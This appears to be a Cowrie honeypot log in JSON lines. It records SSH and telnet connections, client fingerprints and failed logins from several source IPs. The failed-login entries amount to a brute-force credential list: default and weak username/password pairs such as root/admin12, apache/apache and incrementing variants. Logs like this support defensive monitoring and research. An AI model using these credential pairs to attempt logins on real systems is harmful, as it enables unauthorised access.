{"eventid":"cowrie.session.closed","duration":47.89769458770752,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:09:44.899537Z","src_ip":"192.119.13.58","session":"9df26457c747","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"49.51.241.230","src_port":41476,"dst_ip":"159.203.135.109","dst_port":22,"session":"1ec0588480e3","protocol":"ssh","message":"New connection: 49.51.241.230:41476 (159.203.135.109:22) [session: 1ec0588480e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:09:45.156201Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:09:45.161636Z","src_ip":"49.51.241.230","session":"1ec0588480e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:09:45.231060Z","src_ip":"49.51.241.230","session":"1ec0588480e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e,./","message":"login attempt [root/1q2w3e,./] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:09:45.540087Z","src_ip":"49.51.241.230","session":"1ec0588480e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":13319,"dst_ip":"10.17.0.5","dst_port":22,"session":"d6aa73be8769","protocol":"ssh","message":"New connection: 2.57.121.25:13319 (10.17.0.5:22) [session: d6aa73be8769]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:09:46.057306Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:09:46.062340Z","src_ip":"2.57.121.25","session":"d6aa73be8769","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:09:46.163845Z","src_ip":"2.57.121.25","session":"d6aa73be8769","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:09:46.611445Z","src_ip":"49.51.241.230","session":"1ec0588480e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"12051975","message":"login attempt [user/12051975] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:09:46.634580Z","src_ip":"2.57.121.25","session":"d6aa73be8769","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"12041992","message":"login attempt [user/12041992] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:09:47.738278Z","src_ip":"2.57.121.25","session":"d6aa73be8769","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":46.717931270599365,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:09:47.793909Z","src_ip":"192.119.13.58","session":"294e468bb6ca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.73920178413391,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:09:48.034137Z","src_ip":"192.119.13.58","session":"ccf2b1df75a1","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"user","password":"120385","message":"login attempt [user/120385] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:09:48.842117Z","src_ip":"2.57.121.25","session":"d6aa73be8769","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":52990,"dst_ip":"10.17.0.5","dst_port":23,"session":"2931c39c1b34","protocol":"telnet","message":"New connection: 192.119.13.58:52990 (10.17.0.5:23) [session: 2931c39c1b34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:09:49.619128Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.24.63.85","src_port":33990,"dst_ip":"159.203.135.109","dst_port":22,"session":"07500ce29668","protocol":"ssh","message":"New connection: 103.24.63.85:33990 (159.203.135.109:22) [session: 07500ce29668]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:09:49.795839Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:09:49.825484Z","src_ip":"103.24.63.85","session":"07500ce29668","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"12031977","message":"login attempt [user/12031977] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:09:49.944929Z","src_ip":"2.57.121.25","session":"d6aa73be8769","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:09:49.990054Z","src_ip":"103.24.63.85","session":"07500ce29668","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"flink","password":"flink","message":"login attempt [flink/flink] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:09:50.749217Z","src_ip":"103.24.63.85","session":"07500ce29668","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"12031974","message":"login attempt [user/12031974] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:09:51.047709Z","src_ip":"2.57.121.25","session":"d6aa73be8769","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:09:52.146642Z","src_ip":"103.24.63.85","session":"07500ce29668","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:09:52.152738Z","src_ip":"2.57.121.25","session":"d6aa73be8769","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.143.61.84","src_port":38764,"dst_ip":"159.203.135.109","dst_port":22,"session":"557020a06e2f","protocol":"ssh","message":"New connection: 37.143.61.84:38764 (159.203.135.109:22) [session: 557020a06e2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:09:54.433909Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:09:54.438816Z","src_ip":"37.143.61.84","session":"557020a06e2f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:09:54.538789Z","src_ip":"37.143.61.84","session":"557020a06e2f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"wilson","message":"login attempt [root/wilson] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:09:54.948500Z","src_ip":"37.143.61.84","session":"557020a06e2f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":16885,"dst_ip":"10.17.0.5","dst_port":22,"session":"a4d8827b08c8","protocol":"ssh","message":"New connection: 213.209.159.56:16885 (10.17.0.5:22) [session: a4d8827b08c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:09:55.819735Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:09:55.825979Z","src_ip":"213.209.159.56","session":"a4d8827b08c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:09:55.909145Z","src_ip":"213.209.159.56","session":"a4d8827b08c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:09:56.042597Z","src_ip":"37.143.61.84","session":"557020a06e2f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kendell","password":"kendell","message":"login attempt [kendell/kendell] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:09:56.316191Z","src_ip":"213.209.159.56","session":"a4d8827b08c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":56678,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b5d05b804fa","protocol":"telnet","message":"New connection: 192.119.13.58:56678 (10.17.0.5:23) [session: 6b5d05b804fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:09:56.750298Z"}
{"eventid":"cowrie.login.failed","username":"kendell","password":"kendell1","message":"login attempt [kendell/kendell1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:09:57.402593Z","src_ip":"213.209.159.56","session":"a4d8827b08c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.86618781089783,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:09:58.444966Z","src_ip":"192.119.13.58","session":"d86b7072e914","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"kendell","password":"kendell123","message":"login attempt [kendell/kendell123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:09:58.488920Z","src_ip":"213.209.159.56","session":"a4d8827b08c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kendell","password":"kendell1234","message":"login attempt [kendell/kendell1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:09:59.576990Z","src_ip":"213.209.159.56","session":"a4d8827b08c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kendell","password":"kendell12345","message":"login attempt [kendell/kendell12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:10:00.663787Z","src_ip":"213.209.159.56","session":"a4d8827b08c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:10:01.750346Z","src_ip":"213.209.159.56","session":"a4d8827b08c8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.24.63.85","src_port":40509,"dst_ip":"159.203.135.109","dst_port":22,"session":"4bb15969a1eb","protocol":"ssh","message":"New connection: 103.24.63.85:40509 (159.203.135.109:22) [session: 4bb15969a1eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:10:06.176734Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:10:06.182580Z","src_ip":"103.24.63.85","session":"4bb15969a1eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:10:06.379942Z","src_ip":"103.24.63.85","session":"4bb15969a1eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"apache","password":"apache","message":"login attempt [apache/apache] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:10:06.972887Z","src_ip":"103.24.63.85","session":"4bb15969a1eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":44822,"dst_ip":"10.17.0.5","dst_port":23,"session":"316951aa201c","protocol":"telnet","message":"New connection: 192.119.13.58:44822 (10.17.0.5:23) [session: 316951aa201c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:10:08.072431Z"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:10:08.183579Z","src_ip":"103.24.63.85","session":"4bb15969a1eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.64288687705994,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:10:25.261888Z","src_ip":"192.119.13.58","session":"2931c39c1b34","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":34374,"dst_ip":"10.17.0.5","dst_port":23,"session":"6cb46ef30d62","protocol":"telnet","message":"New connection: 192.119.13.58:34374 (10.17.0.5:23) [session: 6cb46ef30d62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:10:26.481888Z"}
{"eventid":"cowrie.session.closed","duration":34.41430163383484,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:10:31.164495Z","src_ip":"192.119.13.58","session":"6b5d05b804fa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.56.225.202","src_port":44434,"dst_ip":"159.203.135.109","dst_port":22,"session":"189650600d11","protocol":"ssh","message":"New connection: 207.56.225.202:44434 (159.203.135.109:22) [session: 189650600d11]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:10:31.300461Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:10:31.309801Z","src_ip":"207.56.225.202","session":"189650600d11","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:10:31.472090Z","src_ip":"207.56.225.202","session":"189650600d11","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin12","message":"login attempt [root/admin12] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T17:10:32.157425Z","src_ip":"207.56.225.202","session":"189650600d11","protocol":"ssh"}
